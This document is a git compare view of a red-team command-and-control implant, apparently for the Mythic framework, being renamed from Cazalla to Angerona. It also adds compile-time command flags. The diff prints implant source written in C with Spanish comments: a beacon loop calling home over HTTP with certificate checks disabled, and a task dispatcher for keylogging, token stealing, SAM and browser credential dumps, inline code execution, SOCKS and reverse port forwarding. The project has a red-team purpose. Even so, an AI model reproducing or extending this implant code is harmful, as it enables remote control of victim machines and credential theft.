Compare commits

...

10 Commits

Author SHA1 Message Date
debian 9a8700a3b2 new images used 2026-03-27 08:47:17 -04:00
debian 445dcc8494 updated dependencies + icon 2026-03-27 06:55:56 -04:00
kitos 6e82a8253c Rename project from Cazalla to Angerona
Complete rebrand: renamed all files, folders, code references, documentation, Docker paths, env vars, Makefile targets, Python classes, C structs/functions, and git remote URL. Replaced agent icons with new Angerona branding (light + dark mode SVGs). Fixed builder.py to reference SVG instead of PNG for Mythic icon path.
2026-03-25 15:32:50 +01:00
Marmeus 120de6778d Added hash of payload when built sucessfull 2026-03-17 13:07:58 +00:00
Marmeus e5d3260f64 Improved ollvm_compilation description 2026-01-27 11:29:40 +00:00
jesus.rodenas 9f660b169b Merge pull request 'Enable_Dynamic_Loading' (#2) from Enable_Dynamic_Loading into main
Reviewed-on: https://git.redteam/Offsec/Cazalla/pulls/2
2026-01-26 11:23:07 +00:00
Marmeus 05d084bb6c Added develop commands doc file 2026-01-26 09:35:31 +00:00
Marmeus bda69f74f9 Fixed Error 2026-01-21 10:03:25 +00:00
Marmeus 380a498980 Added Dynamic Commands to be loaded at compilation 2026-01-20 15:51:10 +00:00
Marmeus 014bc87eaa Adding attribute supported_os to remaining commands 2026-01-20 14:04:18 +00:00
167 changed files with 2556 additions and 944 deletions
@@ -43,10 +43,10 @@ ENV MYTHIC_SERVER_PASSWORD="mythic_password"
WORKDIR /Mythic/
# Copiar estructura completa del proyecto
COPY ./ /Mythic/cazalla/
COPY ./ /Mythic/angerona/
# Asegurar que los permisos sean correctos para Python
RUN chmod -R a+rX /Mythic/cazalla/
RUN chmod -R a+rX /Mythic/angerona/
# --- Comando por defecto ---
CMD ["python3", "main.py"]
@@ -65,5 +65,5 @@ docker-compose.yml
mythic-cli
# Agent code build directories (will be built inside container)
cazalla/agent_code/cazalla/build/
angerona/agent_code/angerona/build/
@@ -47,7 +47,7 @@ ENV SYSLOG_FACILITY="16"
# --- Copia tu código de translator ---
# This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
WORKDIR /Mythic/
COPY ./ /Mythic/cazalla/
COPY ./ /Mythic/angerona/
# --- Comando por defecto ---
CMD ["python3", "main.py"]
@@ -38,6 +38,9 @@ else
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
endif
# Command enable flags (passed from builder.py)
COMMAND_FLAGS ?=
# Debug flags based on level
DEBUG_FLAGS = -DDEBUG_SOCKS -g
ifeq ($(DEBUG_LEVEL_NUM),0)
@@ -62,24 +65,24 @@ $(shell mkdir -p $(BUILD_DIR))
all: exe dll
debug: debug_exe debug_dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
exe: $(BUILD_DIR)/angerona.exe
dll: $(BUILD_DIR)/angerona.dll
debug_exe: $(BUILD_DIR)/angerona-debug.exe
debug_dll: $(BUILD_DIR)/angerona-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
$(BUILD_DIR)/angerona.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
$(BUILD_DIR)/angerona-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
$(BUILD_DIR)/angerona.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
$(BUILD_DIR)/angerona-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
# Clean up
clean:
@@ -1,7 +1,7 @@
#include "SistemadeFicheros.h"
#include "paquete.h"
#include "transporte.h"
#include "cazalla.h" // For context tracking functions
#include "angerona.h" // For context tracking functions
/* Forward decl to avoid implicit declaration on some toolchains */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
@@ -1,9 +1,9 @@
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration
#include "cazalla.h"
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "angerona.h"
#include "Config.h"
#include "socks_manager.h"
CONFIG_CAZALLA* cazallaConfig = NULL;
CONFIG_ANGERONA* angeronaConfig = NULL;
/* Context tracking: Current working directory and impersonation context */
static char gCurrentDirectory[MAX_PATH] = "";
@@ -48,26 +48,26 @@ VOID clearImpersonationContext(void) {
gImpersonationContext[0] = '\0';
}
VOID cazallaMain() {
_inf("Inicializando configuración de Cazalla");
VOID angeronaMain() {
_inf("Inicializando configuración de Angerona");
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
if (!cazallaConfig) {
_err("Error: fallo en LocalAlloc para cazallaConfig");
angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA));
if (!angeronaConfig) {
_err("Error: fallo en LocalAlloc para angeronaConfig");
return;
}
cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado= proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
angeronaConfig->idAgente = (PCHAR)initUUID;
angeronaConfig->hostName = (PWCHAR)hostname;
angeronaConfig->puertoHttp = port;
angeronaConfig->endPoint = (PWCHAR)endpoint;
angeronaConfig->userAgent = (PWCHAR)useragent;
angeronaConfig->metodoHttp = (PWCHAR)httpmethod;
angeronaConfig->SSL = ssl;
angeronaConfig->proxyHabilitado= proxyenabled;
angeronaConfig->urlProxy = (PWCHAR)proxyurl;
angeronaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
// Debug: print the raw values
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
@@ -75,26 +75,26 @@ VOID cazallaMain() {
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
// Initialize AESPSK encryption if enabled
if (cazallaConfig->encryptionEnabled) {
if (angeronaConfig->encryptionEnabled) {
_inf("Inicializando cifrado AES256-HMAC...");
if (crypto_init_aespsk(AESPSK_KEY)) {
_inf("Cifrado habilitado");
} else {
_err("Falló la inicialización del cifrado");
cazallaConfig->encryptionEnabled = FALSE;
angeronaConfig->encryptionEnabled = FALSE;
}
} else {
_inf("Cifrado deshabilitado");
}
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
cazallaConfig->idAgente,
cazallaConfig->hostName,
cazallaConfig->puertoHttp,
(int)cazallaConfig->SSL,
(int)cazallaConfig->proxyHabilitado,
cazallaConfig->endPoint,
cazallaConfig->userAgent,
cazallaConfig->tiempoSleep);
angeronaConfig->idAgente,
angeronaConfig->hostName,
angeronaConfig->puertoHttp,
(int)angeronaConfig->SSL,
(int)angeronaConfig->proxyHabilitado,
angeronaConfig->endPoint,
angeronaConfig->userAgent,
angeronaConfig->tiempoSleep);
_inf("Iniciando primer checkin...");
PAnalizador respuestaAnalizador = checkin();
@@ -106,7 +106,7 @@ VOID cazallaMain() {
parseChecking(respuestaAnalizador);
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep);
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep);
while (TRUE) {
rutina();
@@ -116,13 +116,13 @@ VOID cazallaMain() {
_dbg("SOCKS activo -> checkin rápido (100 ms)");
Sleep(100);
} else {
_dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
Sleep(cazallaConfig->tiempoSleep);
_dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep);
Sleep(angeronaConfig->tiempoSleep);
}
}
}
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
angeronaConfig->idAgente = newUUID;
_dbg("UUID actualizado: %s", newUUID);
}
@@ -1,6 +1,6 @@
#pragma once
#ifndef CAZALLA_H
#define CAZALLA_H
#ifndef ANGERONA_H
#define ANGERONA_H
#include <windows.h>
#include "paquete.h"
@@ -25,9 +25,9 @@ typedef struct {
UINT32 tiempoSleep;
BOOL encryptionEnabled;
} CONFIG_CAZALLA, *PCONFIG_CAZALLA;
} CONFIG_ANGERONA, *PCONFIG_ANGERONA;
extern PCONFIG_CAZALLA cazallaConfig;
extern PCONFIG_ANGERONA angeronaConfig;
/* Context tracking functions */
PCHAR getCurrentDirectoryContext(void);
@@ -37,6 +37,6 @@ VOID setImpersonationContext(PCHAR context);
VOID clearImpersonationContext(void);
VOID setUUID(PCHAR newUUID);
VOID cazallaMain(void);
VOID angeronaMain(void);
#endif
@@ -1,5 +1,5 @@
#include "checkin.h"
#include "cazalla.h"
#include "angerona.h"
#include "socks_manager.h"
#include "paquete.h" // For addCallbackContext
#include "identity.h" // For IdentityGetUserInfo
@@ -132,7 +132,7 @@ PAnalizador checkin() {
return NULL;
}
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
@@ -1,14 +1,18 @@
#include "cazalla.h"
#include "angerona.h"
#include "comandos.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"
#include "paquete.h"
/* Forward: handlers for the new commands */
#ifdef ENABLE_SOCKS_CMD
static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea);
#endif
#ifdef ENABLE_RPFWD_CMD
static void startRpfwdHandler(PAnalizador analizadorTarea);
static void stopRpfwdHandler(PAnalizador analizadorTarea);
#endif
BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("========== handleGetTasking INICIO ==========");
@@ -100,42 +104,84 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
}
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
#ifdef ENABLE_SHELL_CMD
if (tarea == SHELL_CMD){
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
ejecutarConsola(analizadorTarea);
} else if (tarea == EXIT_CMD) {
#else
if (tarea == EXIT_CMD) {
#endif
cerrarCallback(analizadorTarea);
} else if (tarea == SLEEP_CMD){
sleep(analizadorTarea);
} else if (tarea == PROCESS_CMD){
}
#ifdef ENABLE_PS_CMD
else if (tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
} else if (tarea == CD_CMD) {
}
#endif
#ifdef ENABLE_CD_CMD
else if (tarea == CD_CMD) {
CambiarDirectorio(analizadorTarea);
} else if (tarea == LS_CMD) {
}
#endif
#ifdef ENABLE_LS_CMD
else if (tarea == LS_CMD) {
ListarDirectorio(analizadorTarea);
} else if (tarea == PWD_CMD) {
}
#endif
#ifdef ENABLE_PWD_CMD
else if (tarea == PWD_CMD) {
ObtenerPath(analizadorTarea);
} else if (tarea == CP_CMD) {
}
#endif
#ifdef ENABLE_CP_CMD
else if (tarea == CP_CMD) {
CopiarFichero(analizadorTarea);
} else if (tarea == MKDIR_CMD) {
}
#endif
#ifdef ENABLE_MKDIR_CMD
else if (tarea == MKDIR_CMD) {
CrearRuta(analizadorTarea);
} else if (tarea == RM_CMD) {
}
#endif
#ifdef ENABLE_RM_CMD
else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea);
} else if (tarea == CAT_CMD) {
}
#endif
#ifdef ENABLE_CAT_CMD
else if (tarea == CAT_CMD) {
LeerFichero(analizadorTarea);
} else if (tarea == DOWNLOAD_CMD) {
}
#endif
#ifdef ENABLE_DOWNLOAD_CMD
else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea);
} else if (tarea == UPLOAD_CMD) {
}
#endif
#ifdef ENABLE_UPLOAD_CMD
else if (tarea == UPLOAD_CMD) {
SubirFichero(analizadorTarea);
} else if (tarea == SCREENSHOT_CMD) {
}
#endif
#ifdef ENABLE_SCREENSHOT_CMD
else if (tarea == SCREENSHOT_CMD) {
CapturarPantalla(analizadorTarea);
} else if (tarea == START_SOCKS_CMD) {
}
#endif
#ifdef ENABLE_SOCKS_CMD
else if (tarea == START_SOCKS_CMD) {
_dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) {
_dbg("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea);
} else if (tarea == START_RPFWD_CMD) {
}
#endif
#ifdef ENABLE_RPFWD_CMD
else if (tarea == START_RPFWD_CMD) {
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
startRpfwdHandler(analizadorTarea);
@@ -143,61 +189,102 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} else if (tarea == STOP_RPFWD_CMD) {
_dbg("Received STOP_RPFWD_CMD");
stopRpfwdHandler(analizadorTarea);
} else if (tarea == KEYLOG_START_CMD) {
}
#endif
#ifdef ENABLE_KEYLOG_START_CMD
else if (tarea == KEYLOG_START_CMD) {
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
StartKeylogger(analizadorTarea);
_inf("===== KEYLOG_START_CMD COMPLETED =====");
} else if (tarea == KEYLOG_STOP_CMD) {
}
#endif
#ifdef ENABLE_KEYLOG_STOP_CMD
else if (tarea == KEYLOG_STOP_CMD) {
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
StopKeylogger(analizadorTarea);
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
} else if (tarea == LIST_TOKENS_CMD) {
}
#endif
#ifdef ENABLE_LIST_TOKENS_CMD
else if (tarea == LIST_TOKENS_CMD) {
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
ListarTokens(analizadorTarea);
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
} else if (tarea == STEAL_TOKEN_CMD) {
}
#endif
#ifdef ENABLE_STEAL_TOKEN_CMD
else if (tarea == STEAL_TOKEN_CMD) {
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
RobarToken(analizadorTarea);
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
} else if (tarea == MAKE_TOKEN_CMD) {
}
#endif
#ifdef ENABLE_MAKE_TOKEN_CMD
else if (tarea == MAKE_TOKEN_CMD) {
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
CrearToken(analizadorTarea);
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
} else if (tarea == REV2SELF_CMD) {
}
#endif
#ifdef ENABLE_REV2SELF_CMD
else if (tarea == REV2SELF_CMD) {
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
RevertirToken(analizadorTarea);
_inf("===== REV2SELF_CMD COMPLETED =====");
} else if (tarea == WHOAMI_CMD) {
}
#endif
#ifdef ENABLE_WHOAMI_CMD
else if (tarea == WHOAMI_CMD) {
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
ObtenerUsuarioActual(analizadorTarea);
_inf("===== WHOAMI_CMD COMPLETED =====");
} else if (tarea == KILL_CMD) {
}
#endif
#ifdef ENABLE_KILL_CMD
else if (tarea == KILL_CMD) {
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
MatarProceso(analizadorTarea);
_inf("===== KILL_CMD COMPLETED =====");
} else if (tarea == BROWSER_INFO_CMD) {
}
#endif
#ifdef ENABLE_BROWSER_INFO_CMD
else if (tarea == BROWSER_INFO_CMD) {
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
IdentificarNavegadores(analizadorTarea);
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
} else if (tarea == BROWSER_DUMP_CMD) {
}
#endif
#ifdef ENABLE_BROWSER_DUMP_CMD
else if (tarea == BROWSER_DUMP_CMD) {
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
DumparNavegador(analizadorTarea);
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
} else if (tarea == SAMDUMP_CMD) {
}
#endif
#ifdef ENABLE_SAMDUMP_CMD
else if (tarea == SAMDUMP_CMD) {
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
SamDumpHandler(analizadorTarea);
_inf("===== SAMDUMP_CMD COMPLETED =====");
} else if (tarea == INLINE_EXECUTE_CMD) {
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_CMD
else if (tarea == INLINE_EXECUTE_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
InlineExecuteHandler(analizadorTarea);
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python
// But if called directly, we'll handle it here
_wrn("inline_execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else {
}
#endif
else {
_wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
// liberar analizador si no será usado por otro handler
@@ -277,7 +364,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
// === Nota: Cifrado AESPSK ya inicializado en angeronaMain() ===
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
@@ -312,6 +399,7 @@ BOOL rutina() {
}
#ifdef ENABLE_SOCKS_CMD
/* ============================
START_SOCKS_CMD handler
Expected params (in this order inside the task buffer):
@@ -403,7 +491,9 @@ static void stopSocksHandler(PAnalizador analizadorTarea) {
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif
#ifdef ENABLE_RPFWD_CMD
/* ============================
START_RPFWD_CMD handler
Expected params (in this order inside the task buffer):
@@ -518,3 +608,4 @@ static void stopRpfwdHandler(PAnalizador analizadorTarea) {
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif
@@ -1,4 +1,4 @@
#include "cazalla.h"
#include "angerona.h"
#include "inline_execute.h"
#include "comandos.h"
#include "paquete.h"
@@ -174,7 +174,7 @@ BOOL BeaconIsAdmin(void) {
/*
* GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
* Adapted from Cazalla's upload mechanism
* Adapted from Angerona's upload mechanism
*/
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
#define CHUNK_SIZE 512000 // 512 KB
@@ -1,6 +1,6 @@
#include "keylog.h"
#include "paquete.h"
#include "cazalla.h"
#include "angerona.h"
static volatile BOOL g_keylog_running = FALSE;
static HANDLE g_keylog_thread = NULL;
@@ -1,13 +1,13 @@
#include "cazalla.h"
#include "angerona.h"
int main() {
_inf("=== CAZALLA AGENT STARTING ===");
_inf("=== ANGERONA AGENT STARTING ===");
#ifdef AESPSK
_inf("AESPSK: %s", AESPSK);
#endif
Sleep(2000); // Pausa 2 segundos para ver si inicia
cazallaMain();
_inf("=== CAZALLA AGENT EXITING ===");
angeronaMain();
_inf("=== ANGERONA AGENT EXITING ===");
_inf("Press any key to exit...");
getchar();
return 0;
@@ -1,5 +1,5 @@
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration
#include "cazalla.h"
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "angerona.h"
#include "paquete.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"
@@ -19,7 +19,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
paquete->length = 0;
if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE);
addString(paquete, angeronaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
@@ -304,10 +304,10 @@ PAnalizador mandarPaquete(PPaquete paquete) {
char uuidCheck[37] = {0};
memcpy(uuidCheck, datosDecodificados, 36);
_dbg("First 36 bytes (UUID check): %s", uuidCheck);
_dbg("Expected UUID: %s", cazallaConfig->idAgente);
_dbg("Expected UUID: %s", angeronaConfig->idAgente);
// If response starts with UUID, we need to extract it
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) {
_dbg("Response format: UUID + encrypted_data detected");
_dbg("Extracting encrypted data (after UUID)...");
@@ -1,5 +1,5 @@
#include "screenshot.h"
#include "cazalla.h"
#include "angerona.h"
#include "paquete.h"
#include "SistemadeFicheros.h"
#include <windows.h>
@@ -1,5 +1,5 @@
#include "sleep.h"
#include "cazalla.h"
#include "angerona.h"
#include "socks_manager.h"
@@ -25,12 +25,12 @@ BOOL sleep(PAnalizador argumentos) {
tiempoSleep = minVarianza;
}
if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n");
if (angeronaConfig == NULL) {
_err("Error: angeronaConfig no ha sido inicializado.\n");
return FALSE;
}
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
_dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep);
/* convertir a milisegundos */
tiempoSleep = tiempoSleep * 1000;
@@ -41,7 +41,7 @@ BOOL sleep(PAnalizador argumentos) {
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
}
cazallaConfig->tiempoSleep = tiempoSleep;
angeronaConfig->tiempoSleep = tiempoSleep;
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
@@ -5,7 +5,7 @@
#include "analizador.h"
#include "identity.h"
#include "debug.h"
#include "cazalla.h" // For context tracking functions
#include "angerona.h" // For context tracking functions
#include <tlhelp32.h>
#include <psapi.h>
@@ -50,25 +50,25 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy;
httpProxy = angeronaConfig->urlProxy;
}
if (cazallaConfig->SSL) {
if (angeronaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
_dbg("WinHttpOpen()");
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) {
_err("WinHttpOpen falló (%lu)", GetLastError());
return NULL;
}
_dbg("WinHttpOpen OK");
_dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp);
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
_dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp);
hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0);
if (!hConexion) {
_err("WinHttpConnect falló (%lu)", GetLastError());
WinHttpCloseHandle(hSesion);
@@ -78,22 +78,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
// Log complete URL - ensure endpoint starts with /
wchar_t endpointBuf[256];
if (cazallaConfig->endPoint && cazallaConfig->endPoint[0] != L'/') {
swprintf(endpointBuf, 256, L"/%ls", cazallaConfig->endPoint);
if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') {
swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint);
} else {
wcsncpy(endpointBuf, cazallaConfig->endPoint ? cazallaConfig->endPoint : L"", 256);
wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256);
}
swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls",
cazallaConfig->SSL ? L"https" : L"http",
cazallaConfig->hostName,
cazallaConfig->puertoHttp,
angeronaConfig->SSL ? L"https" : L"http",
angeronaConfig->hostName,
angeronaConfig->puertoHttp,
endpointBuf);
_dbg("Complete URL: %ls", urlBuffer);
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
endpointBuf, cazallaConfig->metodoHttp, httpFlags);
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
endpointBuf, angeronaConfig->metodoHttp, httpFlags);
hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
if (!hPeticion) {
_err("WinHttpOpenRequest falló (%lu)", GetLastError());
WinHttpCloseHandle(hConexion);
@@ -102,7 +102,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
}
_dbg("WinHttpOpenRequest OK");
if (cazallaConfig->SSL) {
if (angeronaConfig->SSL) {
_dbg("Configurando opciones SSL");
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
@@ -4,7 +4,7 @@
#include <windows.h>
#include <winhttp.h>
#include "cazalla.h"
#include "angerona.h"
#include "analizador.h"
#include "socks_manager.h" // <— añadido
@@ -0,0 +1,320 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="2048.000000pt" height="2048.000000pt" viewBox="0 0 2048.000000 2048.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,2048.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M9945 17875 c-16 -2 -122 -9 -235 -15 -715 -39 -1408 -185 -2135
-450 -133 -49 -262 -97 -286 -108 -24 -11 -90 -41 -146 -66 -56 -25 -105 -46
-109 -46 -7 0 -321 -151 -354 -170 -8 -5 -78 -43 -155 -86 -452 -249 -925
-585 -1372 -975 -368 -321 -858 -865 -1113 -1236 -68 -99 -229 -338 -247 -368
-6 -11 -52 -85 -101 -165 -71 -116 -184 -315 -233 -410 -19 -37 -65 -128 -80
-160 -18 -36 -64 -134 -119 -255 -39 -88 -143 -345 -163 -405 -8 -25 -20 -56
-25 -70 -6 -14 -28 -74 -50 -135 -38 -105 -59 -172 -117 -370 -14 -49 -30
-101 -35 -115 -13 -35 -59 -212 -75 -290 -7 -36 -32 -153 -54 -260 -66 -316
-104 -599 -131 -985 -11 -149 -16 -857 -7 -873 3 -4 8 -65 11 -137 4 -71 9
-141 11 -155 3 -14 9 -81 15 -150 25 -288 120 -813 192 -1065 11 -38 26 -95
35 -125 8 -30 19 -63 24 -72 5 -10 9 -25 9 -34 0 -22 115 -380 157 -489 92
-236 126 -321 152 -378 16 -34 43 -96 61 -137 85 -198 294 -591 418 -790 125
-201 148 -236 244 -375 408 -587 752 -974 1289 -1452 540 -481 1201 -911 1874
-1221 383 -176 908 -367 1241 -451 418 -105 770 -170 1079 -200 61 -6 155 -15
210 -20 261 -25 602 -34 871 -22 588 25 915 68 1419 186 306 72 383 93 625
174 392 132 617 222 960 384 337 159 881 482 1139 675 42 32 94 70 116 84 39
27 310 242 435 347 213 177 550 507 765 750 266 299 570 708 800 1076 330 526
621 1169 805 1780 23 77 53 174 66 215 31 101 61 233 115 500 11 58 27 134 34
170 28 131 65 427 85 675 6 72 13 153 16 180 11 91 7 807 -5 955 -37 457 -70
693 -147 1055 -15 66 -32 149 -39 185 -23 112 -60 253 -103 390 -11 36 -36
117 -55 180 -41 138 -109 333 -118 340 -4 3 -14 28 -22 55 -17 59 -79 217
-113 293 -13 29 -24 55 -24 57 0 4 -29 68 -107 235 -76 162 -88 185 -95 188
-5 2 -8 9 -8 15 0 7 -6 23 -13 37 -88 166 -135 252 -180 327 -104 171 -190
